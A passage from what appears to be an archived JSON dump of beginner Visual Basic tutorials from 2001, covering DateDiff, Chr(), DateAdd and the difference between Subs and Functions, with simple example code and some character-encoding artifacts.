year\n\t\t\td\t=Day\n\t\t\tw\t=Weekday\n\t\t\tww\t=Week\n\t\t\th\t=Hour\n\t\t\tn\t=Minute\n\t\t\ts\t=Second\n \n<li>StartDateTime - Any valid date, time, or datetime combination. Examples: \"01/01/2000\" , \"01/01/2000 12:25 AM\" , \"16:30\"\n<li>EndDateTime - Same criteria as StartDateTime. This is the data the start date will be subtracted from.\n\nCopy & Paste Code:\n <font\n size=\"2\" face=\"Arial\">\n <pre>\n<code></code></pre>\n <pre\n style=\"margin-left:1.25in;text-indent:.35pt;tab-stops:45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\"><font\nsize=\"2\" face=\"Arial\"><code>\n\n\t\t\t\tDim StartDate As Date \n\t\t\t\tDim EndDate As Date \n\t\t\t\tDim Interval As String\n\t\t\t\t \n\t\t\t\tStartDate = InputBox (\"Start Date:\") \n\t\t\t\tEndDate = InputBox (\"End Date:\") \n\t\t\t\tInterval = InputBox (\"Return In: s=seconds, m=Minutes h=Hours, d=Days, ww=Weeks, w=WeekDays, yyyy=years\"\n\t\t\t\n\t\t\t\tMsgBox DateDiff(Interval, StartDate, EndDate)\n\t\t\t\t</code></pre>\n \n<font\nsize=\"2\" face=\"Arial\">Notes: \n\nThe DateDiff() function is one of the most useful ones VB has to offer. It literally replaces thousands of lines of code, takes in account leap years, knows how many days and weeks are in a month, and many other things that typically trip up home-brewed date code. Let's face it...those Microsoft guys can write some decent code. They went to a lot of trouble to create these functions in lower level languages so we could just call it and get a result back. Besides being much less likely to error out that your own code, it is also exponentially faster since it exists as true bytecode. \n\t\t \n\t\tA couple of things to watch out for in the DateDiff() Function are: \n\t\t<li>Times can mess you up. When you call DateDiff without specifying a time (i.e. \"01/10/200\" instead of \"01/01/2000 9:25:00\"), DateDiff assumes a time of midnight (00:00:01). This can have the effect of \"skipping\" a day if you aren't careful. Check your results a few times and adjust your dates or times to make it right. Once you have it, it will always work the same. \n\t\t<li>Switching dates will return negative values. Not a tragedy, but something you should be aware of.\n\t\t \n\t\t \n\t\tWell I hope today's newsletter has helped save some newbie coders out there from pulling out clumps of hair over date manipulation. If you need more details on using DateDiff() please let me know.\n\t\t\n\t\t\n</body>\n</html>\n"},{"WorldId":1,"id":22805,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage Express 2.0\">\n<title>Daily Newbie - 04/29/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n┬á\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\nFourth\nEdition┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nApril 28,\n2001┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nFree\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n┬á\n┬á\nToday's command, Chr() is almost a must-know for a lot of string manipulation and should be one of the fundimental tricks in your VB coding bags. If you have read the previous Newbie articles, you already know about the <a href=\"http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=22745&blnEditFeedback=TRUE&lngWId=1\">Asc() function</a>. The Chr() function is a compliment of it. While the Asc() Function returns an ASCII code for a character, the Chr() function returns a character for an ASCII character.\n\nToday’s Keyword:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á<font\nsize=\"4\" face=\"Arial\"> Chr()\nName Derived\nFrom:┬á┬á┬á┬á┬á┬á┬á┬á\nCharacter - a symbol (as a letter or number) that represents information; also : a representation of such a character that may be accepted by a computer - <a href=\"http://www.webster.com/\">Webster's online\n dictionary.</a>\n<font\nsize=\"2\" face=\"Arial\">Used for┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nConverting an ASCII character to a string character.\n<font\nsize=\"2\" face=\"Arial\">VB Help Description:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áReturns a String containing the character associated with the specified character code.\n\n<font\nsize=\"2\" face=\"Arial\">Plain\nEnglish:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áTakes a <a href=\"http://www.orst.edu/aw/tutorials/html/ascii-chart.html\">ASCII Character code </a>and converts it to a \"normal\" text character. \n<font\nsize=\"2\" face=\"Arial\">Syntax:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áChr(ASCII Code)\n<font\nsize=\"2\" face=\"Arial\">Usage:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬ástrCharacter =Chr(65)\n┬á\nCopy & Paste Code:\n \n \nToday's code snippet will print a list of ACII codes and their equivilent character values in the debug window.\n \n \n<pre>\n\t\t\tDim intASCII As Integer\n \n\t\t\tFor intASCII = 49 To 122\n\t\t\t\tDebug.Print Chr(intASCII)\n\t\t\tNext intASCII\n</pre>\n ┬á\n<font\nsize=\"2\" face=\"Arial\">Notes:┬á\nThe reason that the Chr() function is so important is that a lot of things in Visual Basic as based on \nASCII values. For example, in the KeyPress() event of an object, the value that is passed in as the pressed\nkey is an ASCII value. If you are wanting to display each character on the keypress event, you can do it with this code:\n<pre>\n\t\tPrivate Sub Form_KeyPress(KeyAscii As Integer)\n\t\t\tMsgBox Chr(KeyAscii)\n\t\tEnd Sub\n</pre>\n Since the KeyAscii is a VB-defined parameter, the ability to convert it to a character value is pretty important. Chr() Makes this simple. I used Chr() in a simple \"word scrambling\" project that you can view\n by <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.8373/lngWId.1/qx/vb/scripts/ShowCode.htm\">clicking here.</a>\n \n \nTomorrow's Keyword:\t\t\tCommand()\n\n</body>\n</html>\n"},{"WorldId":1,"id":22661,"LineNumber":1,"line":"<html xmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:w=\"urn:schemas-microsoft-com:office:word\"\nxmlns=\"http://www.w3.org/TR/REC-html40\">\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<meta name=ProgId content=Word.Document>\n<meta name=Generator content=\"Microsoft Word 9\">\n<meta name=Originator content=\"Microsoft Word 9\">\n<link rel=File-List\nhref=\"./Sometimes%20we%20miss%20the%20obvious_files/filelist.xml\">\n<title>Sometimes we miss the obvious</title>\n<style>\n\n</style>\n</head>\n<body lang=EN-US style='tab-interval:.5in'>\n<div class=Section1>\nUsing Subs and Functions in VB\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSometimes we miss the obvious. I know there are a lot of\nthings I was doing in Visual Basic that I thought were not only right, but\nextremely clever. What I eventually discovered was that the reason I was having\nto dream up such clever “work abounds” was that I was basing my code on\nincorrect assumptions about how VB works. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOne area that I had trouble with, as have several people I\nhave taught coding to is parameters and return values. This article is in the\nBeginner category, but┬á I didn’t learn\nsome of this stuff until long after I was working as a VB programmer and\nconsidered myself a “professional”. If there is one thing I have learned about\nprogramming, it is that you NEVER know everything, and there is always another\nway to do something. My goal is to show programmers the correct way to use\nthese features before they go off and invent ways that will cause problems\nlater. Nothing is worse than realizing that you have been doing something the\nwrong way for the last three years.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIs this tutorial for you? Let’s find out. Consider the\nfollowing questions:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>Can you explain the difference between a Sub and a\nFunction in one sentence?\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>Can you explain the difference between a PUBLIC Sub and\na PRIVATE sub?\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>Do you know how to get a return value from a procedure without\nusing global variables?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf you answered “Yes” to all of\nthe questions above, you probably don’t need this tutorial. But before you\nclose it out, you should be sure you really understand how to do these\nthings. Why? Because these skills are fundamental to good coding. You simply\ncannot write good complex code without them. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf the questions above left you\nscratching your head in confusion, hang in there. You are not alone. If you read\nthis entire tutorial, I promise they will be answered in a way that you can\nunderstand them (or your money back!)\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSubs and Functions- What is the difference?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo understand what a sub or\nfunction is and why we need them, we should go back a few years. For the\nmoment, we will concentrate on Subs, since they are easier to understand. I\nwill then show you how Functions extend the capability of Subs.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf there are any old line\nprogrammers out there, you may remember what we now call “spaghetti code”. Of course,\nwhen we were writing it, we didn’t call it that. We called it sheer genius. The\nterm “spaghetti code” refers to the logic path of an application written in a\nlanguage such as BASIC or BASICA. In these languages, each line had a line\nnumber, and you controlled program flow by referring to the associated line\nnumber of the command you wanted to execute. (Boy, I am suddenly feeling old\nhere!)\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFor example:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n10 CLS┬á ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á‘Clears the screen…we are talking DOS here.\n20 LN$=INPUT$ “What is your last\nname?:”\n30 FN$=INPUT$ “What is your first\nname?\n40 IF LN$=”” Then <b\nstyle='mso-bidi-font-weight:normal'>GOTO 20<o:p></o:p>\n50 IF FN$=”” THEN <b\nstyle='mso-bidi-font-weight:normal'>GOTO 30\n60 PRINT “You entered “ + LN$ + “\n“ + FN$\n70 END\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is a complete (albeit simple)\nprogram for BASIC. It prompts for a last name and a first name, then forces you\nto re-enter it if you didn’t enter a value for one or the other.<span\nstyle=\"mso-spacerun: yes\">┬á The part I would like you to notice is the\nGOTO statement. You may have seen this command used in VB in error handling,\nand if you have been around any VB programmers very long, you have heard them\nharp on how evil the GOTO command is. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn BASIC, GOTO redirected program\nflow to a specific line number. Otherwise, programs started at line 0 (or 10 in\nmost cases) and executed sequentially until they met an END statement, which\nterminated the program. The problem with this concept was that once you got\nabout 2000 lines of code, it became difficult to track where the program would\njump to in any situation. For example, the statement GOTO 20150 meant that to\ntrack execution, you had to scroll all the way down to line 20150. Of course,\nit may contain an IF THEN statement that sent it back to line number 1220. It\nisn’t hard to imagine why this type of code earned its nickname. Eventually it\nreached “critical mass” and became unmanageable.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMost BASIC programmers eventually\ndiscovered the GOSUB statement. This was a pretty big leap in program control.\nLike GOTO, it redirected program execution to a line number somewhere in the\nthousands of lines of code, but unlike GOTO, GOSUB knew where it was redirected\nfrom and could return to that point in the program when it completed its\ntask. It told BASIC “GOTO A BLOCK OF SUB-CODE”. Here is how it was used:<br\nstyle='mso-special-character:line-break'>\n<![if !supportLineBreakNewLine]> \n<![endif]>\n10 CLS\n20 X$=INPUT$ “Choose a Menu Item”\n30 IF X$=”A” THEN <b\nstyle='mso-bidi-font-weight:normal'>GOSUB 2000<o:p></o:p>\n40 IF X$=”B” THEN <b\nstyle='mso-bidi-font-weight:normal'>GOSUB 3000<o:p></o:p>\n50 IF X$=”C” THEN END\n60 ’ ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á┬áEND OF MENU CODE\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n…<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n2000 CLS\n2010 …..DO STUFF….\n…\n2520 RETURN<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n3000 CLS\n3010 …..DO STUFF….\n…\n3520 RETURN<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn this example, we not only use\nthe GOSUB keyword, but we also use\nthe RETURN keyword. What this told\nBASIC was “Go back to the last GOSUB statement that you executed. “ To\nprogrammers, this was pure gold. It allowed recursion (calling a piece of code\nwithin the same piece of code) and much better program flow control. In\nessence, this is the origin of the Visual Basic “Sub” procedure. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOK…enough nostalgia for now. Back\nto VB. What this history lesson has shown you is that things could be much\nworse. But with Visual Basic, some obvious improvements have been made. Line\nnumbers have been dropped (a tough concept for us old timers…QuickBasic helped\nease us into this concept). This allowed the programmer to name blocks of code\nwith a name instead of a number. Now instead of GOSUB 2000, we can say “Call\nGetCustomerID” to call a piece of code that will find a customer ID for us.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHere is how the VB Sub works:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFirst, you need to know what your\nsub will be doing. There are some basic criteria to determine whether or not\nyou need to place code into a sub. They are:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportLists]>1. \n<![endif]>Is this code used in more than one place (are you writing\nduplicate code in your application)?\n<![if !supportLists]>2. \n<![endif]>Does this code perform a specialized function independent of\nthe rest of the code?\n<![if !supportLists]>3. \n<![endif]>Can you effectively create this as a “stand-alone” piece of\ncode?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOf the three criteria above,\nnumber three is the toughest. For example, if you have a piece of code to find\nstate that a customer is located in based on their zip code, do you write that\nsame piece of code for every customer? Obviously, that would be impractical if\nnot impossible. What you need is a way to find the state any zip code.\nHere is the way most beginners handle this problem:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFirst, create public variables to\nhold the values we will be working with:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic\nZIP As String<o:p></o:p>\nPublic\nState As String<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic\nSub GetState()<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á If ZIP > 32501 AND ZIP<span\nstyle=\"mso-spacerun: yes\">┬á <34205 Then<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á ┬áState = “MS”<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á ElseIf ZIP >45102 AND ZIP < 53210\nThen<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á State = “TN”<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á ……<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis code works. Using this\nmethod, you can get the state of any of the zip codes contained in the GetState\nsub. But there are problems with this code as well. The main one is that you\nare now relying on public variables. This is because you have to be able to\naccess the values in from your form or calling code and within your sub. This can get real messy real quick when you\nconsider that you may need to use the name “state” for a variable many times in\nan application. You are then forced to create MANY public variables with odd\nnames like GetStateFromZip_State and GetStateFromZip_Zip to insure that you\ndon’t accidentally overwrite your values from other places in your program.\nThis is just a really bad way to code. The solution? Parameters (finally!).\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn order to get your values safely\nto your Sub without having to create public variables, you can instead create\nSub Parameters. These are really just variables that only your calling code and\nyour sub can see.┬á They look like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Sub GetState(ZIP As String)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á\nIf ZIP > 32501 AND ZIP┬á\n<34205 Then<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á State = “MS”<o:p></o:p>\n┬á┬á┬á┬á┬á\nElseIf ZIP >45102 AND ZIP < 53210 Then<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á State = “TN”<o:p></o:p>\n┬á┬á┬á┬á┬á\n……<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á End If<o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow this code does the exact same thing, but without\nhaving to rely on the public variable ZIP. You can also pass multiple\nparameters:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Sub AverageNumbers(Number1 As\nInteger, Number2 As Integer, Number3 As Integer)<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á …<o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAll three of these values will be\navailable from within your sub, but will not exist outside of it. Getting\npretty neat, isn’t it?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBut we still have a problem. We passed the variable\nIN , but how do we get a value back OUT of a sub? I mean, it’s nice that we\naveraged these numbers, but we still have to use a public variable to get the\nreturn value, right? Wrong. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere are three ways to get return\nvalues from a piece of code:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportLists]>1. \n<![endif]>Public Variables (ugly!)\n<![if !supportLists]>2. \n<![endif]>By making a “return value” parameter.\n<![if !supportLists]>3. \n<![endif]>By making your sub into a function.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWe have already established that public variables\nare not the answer we are seeking, so lets examine option #2. This is more of a\n“hack” than a feature of VB. It takes advantage of the fact that both the\ncalling code and the sub code have access to parameter values. You could do\nthis to get a return value:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Sub AverageNumbers(Number1 As\nInteger, Number2 As Integer, Number3 As Integer, ReturnValue As Integer)<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á <o:p></o:p>\n┬á┬á┬á┬á\nReturnValue = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬áAgain, this would\nwork. But it creates problems on the calling side now. In order to use it, you\nhave to use code similar to this: \n<![if !supportLineBreakNewLine]> \n<![endif]>\n┬á┬á┬á┬á┬á Call\nAverageNumbers(10, 20, 50,0)<o:p></o:p>\n┬á┬á┬á┬á┬á Msgbox “Average =\n“┬á & ReturnValue<span\nstyle='color:navy'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIt is technically returning a value, but it looks (and is) rather\nclunky. You have to pass in a “0” for the return value or you will get an\nerror.┬á Then, to make matters worse, you\nhave to then refer to that variable when the sub completes. What would be nice\nis if you could use it just like a VB command.┬á\nConsider the Ucase() command in Visual Basic. It is\nstraightforward:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á┬á MsgBox Ucase(“this is\na test”)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á Results is a\nmessage box being displayed with the words “THIS IS A TEST” in it.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo how does Microsoft do that? How do they get a return\nvalue from the Ucase command? Surely it is some secret code that you don’t have\nthe power to duplicate. Wrong! The\nway they do it is by making the command Ucase() into a Function instead of a Sub. What is the difference? Simple:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nA function can return\na value through its name variable. ┬áA sub cannot. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat does that mean “through its name variable”?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLet’s look at a function declaration:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Function AverageNumbers(Number1 As Integer, Number2 As\nInteger, Number3 As Integer) <span\nstyle='font-size:8.0pt;mso-bidi-font-size:12.0pt;color:navy'>As Integer<span\nstyle='font-size:8.0pt;mso-bidi-font-size:12.0pt;color:navy'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Function<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou should notice two things different about this\ndeclaration compared to the sub declaration:\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>It has no return parameter.\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>It has “As Integer” stuck on the end. What is <b\nstyle='mso-bidi-font-weight:normal'>that all about?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo how in the world does the value of Ucase() (or\nAverageNumbers for that matter), find its way back to the calling code “MsgBox<span\nstyle=\"mso-spacerun: yes\">┬á = “?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWell, that is the difference between Subs and\nFunctions. Functions act as a return value variable. That is why it was declared “<b\nstyle='mso-bidi-font-weight:normal'>As Integer”. You can now call the\nAverageNumber function exactly as you would the Ucase() function:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nstyle='color:navy'>MsgBox “Average =” & AverageNumbers(10,20,50)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬áHere is the complete\nfunction:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Function AverageNumbers(Number1 As Integer, Number2 As\nInteger, Number3 As Integer) As Integer<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á\nAverageNumbers = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Function<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNotice that the line:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á\nReturnValue = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nhas now been\nmodified to read:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á\nAverageNumbers = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is where the “magic” happens. VB performs the\ncalculations, and when it gets the results, it pipes it back into the\nAverageNumbers variable which was created when this function was\ndeclared. From there, it can be assigned back to a variable in the calling\ncode. So to see the whole picture:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á \nPrivate Sub Command1_Click()<o:p></o:p>\n┬á┬á┬á┬á┬á MsgBox “Average =” &\nAverageNumbers(10,20,50)<o:p></o:p>\nEnd Sub<o:p></o:p>\n┬á\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Function AverageNumbers(Number1 As Integer, Number2 As\nInteger, Number3 As Integer) As Integer<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á\nAverageNumbers = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Function<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo now you can start to see how return values work with\nfunctions. Once you fully grasp this concept, you will begin to realize that VB\ncommands are nothing but functions written by the Microsoft VB team.\nConceptually, yours are no different. You can actually create your own commands to us in your application, just by\ncreating them as functions!\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is big!\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere is one more concept I want to touch on before wrapping\nup:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬áThe difference between Public and Private Subs and Functions<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo fully understand the implications of making a function or\nsub public or private, you will need to study up on the topic of SCOPE in VB.\nThis basically is the level at which something is “visible” to the rest of the\napplication. As you have seen through earlier examples, Public variables are\nnot a good thing. Public Functions, on the other hand, are a VERY good thing.\nThis makes them accessible from anywhere in your application…so if you want to\naverage a number from three different forms, you can still call the same\nAverageNumbers function. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWith Private subs and functions, you will only be able to\ncall them from within the object that they are declared in. Why would\nyou want to do this? Well, you may have noticed that VB creates all Form Subs\nas Private. This is because if you created them as Public, you would have many\nForm_Load() subs, many┬á Command1_Click\n() subs, etc. This would make your application crash instantly, so by using\nprivate scope, you effectively “hide” these subs from other forms.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nONE NOTE: You cannot declare a Public variable, sub, or\nfunction from within a form. YOU MUST\nDECLARE ALL PUBLIC ITEMS FROM WITHIN A MODULE. You can add a module to your\nproject by going to the Project menu and clicking “Add Module”.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI sincerely hope this tutorial has helped you in grasping\nhow and why to use subs and functions. This is such a vital topic to good\nprogramming and so little is published about it. Please let me know if you need\nmore information on any of the topics covered in this tutorial.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nM@\n</div>\n</body>\n</html>\n"},{"WorldId":1,"id":22924,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<title>Daily Newbie - 05/01/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n \n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\n\n \nMay 3,\n2001 \n \n\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n \n \n\n\n\nToday’s Keyword:\n <font\nsize=\"4\" face=\"Arial\"> DateAdd()\nName Derived\nFrom: \n \"Date Addition\"</a> \n \n<font\nsize=\"2\" face=\"Arial\">Used for: \nAdding a specified time period to a date value.\n<font\nsize=\"2\" face=\"Arial\">VB Help Description: Returns a Variant (Date) containing a date to which a specified time interval has been added.\n\n\nPlain\nEnglish: Allows you to add a specified number of seconds, minutes, hours, days, weeks, months, quarters, or years to a date. \n<font\nsize=\"2\" face=\"Arial\">Syntax: Val=DateAdd(Interval, Count, BaseDate)\n<font\nsize=\"2\" face=\"Arial\">Usage: dtmNewDate = DateAdd(\"M\", 8, \"01/12/2000\")\n\t\t\t\t\t\t\t\t\t \n<font\nsize=\"2\" face=\"Arial\">Parameters: \n \n\n<li>Interval - The unit that you want to add to the Base Date. This can be: \n\t<blockquote>\n\t\t<blockquote>\n\t<li>s - Seconds\n\t<li>n - Minutes\n\t<li>h - Hours\n\t<li>d - Days\n\t<li>w - Weeks\n\t<li>m - Months\n\t<li>q - Quarter\n\t<li>yyyy - Year\n\t\n\t\t</blockquote>\n\t</blockquote>\n<li>Count - The number of days, weeks, etc. that you wish to add to the date. \n<li>BaseDate - The date that the interval is to be added to. \nExample: \n \nTo add two days to today's date:\n \n<blockquote>\n<code>MsgBox DateAdd(\"d\", 2, Date)</code>\n</blockquote>\n\t\t\n\nIf you have not read the Daily Newbie on how VB stores date 